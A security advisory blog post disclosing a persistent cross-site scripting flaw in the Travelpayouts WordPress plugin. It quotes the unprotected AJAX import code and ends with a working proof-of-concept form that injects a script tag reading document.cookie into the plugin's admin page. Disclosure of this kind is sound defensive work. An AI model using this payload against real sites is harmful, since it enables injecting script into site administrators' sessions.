11 Sep

Persistent Cross-Site Scripting (XSS) Vulnerability in Travelpayouts

The changelog for the last two versions of the plugin Travelpayouts is “SECURITY UPDATE please update ASAP”. When we started looking at the changes made in the older of those versions to see if there was a vulnerability we should be warning customers of our service about we noticed that it look like the fix for a vulnerability was incomplete. Looking closer we found that a related issue is unfixed and leads to a vulnerability of a type hackers would exploit, a persistent cross-site scripting (XSS) vulnerability. The quality of the plugin’s code is quite poor as the vulnerable functionality doesn’t work if try you to use it as intended, so if you are planning to use this plugin it looks like it might need a lot of work.

The plugin makes the function importCsv() accessible through WordPress’ AJAX functionality to those logged in to WordPress as well as those not logged, despite those not logged in not needing access:

add_action('wp_ajax_import_csv',      array( &$this, 'importCsv'));
add_action('wp_ajax_nopriv_import_csv',array( &$this, 'importCsv'));

The code then does no security checks before running code that creates new entries for the plugin’s auto-links:

public function importCsv(){
	global $wpdb;
	$tableName = $wpdb->prefix .self::$tableName;
	if(isset($_POST) && isset($_POST['value'])) {
		//error_log(print_r($_POST, true));
		//$csv = array_map('str_getcsv', $_POST['value']);
		//error_log(print_r($csv, true));
		foreach($_POST['value'] as $key=>$value){
			if($key == 0) continue;
			$inputData = array(
				'arl_url' => (isset($value[0]))?$value[0]:'',
				'arl_anchor' => (isset($value[1]))?$value[1]:'',
				'arl_event' => (isset($value[2]))?$value[2]:'',
				'arl_nofollow' => (isset($value[3]))?$value[3]:0,
				'arl_replace' => (isset($value[4]))?$value[4]:0,
				'arl_target_blank' => (isset($value[5]))?$value[5]:0,
				'date_add' => time(),
			$wpdb->insert($tableName, $inputData);

The code lacks a capabilities checks to limit access to changing the settings to the user intended to be able to do it or a nonce check to prevent cross-site request forgery (CSRF). There also should be sanitization/validation of the values for the new entries.

As the proof of concept below confirms anyone logged in to WordPress can use that to at least cause malicious JavaScript code to run on an admin page of the website.

Full Disclosure

Due to the moderators of the WordPress Support Forum’s continued inappropriate behavior we are full disclosing vulnerabilities in protest until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. You can notify the developer of this issue on the forum as well. Hopefully the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information, can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof concept will cause an alert box with any available cookies to be shown when accessing the page /wp-admin/admin.php?page=tp_control_substitution_links.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<form action="http://[path to WordPress]/wp-admin/admin-ajax.php?action=import_csv" method="POST">
<input type="hidden" name="value[]" value='' />
<input type="hidden" name="value[][]" value='"><script>alert(document.cookie);</script>' />
<input type="submit" value="Submit" />

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.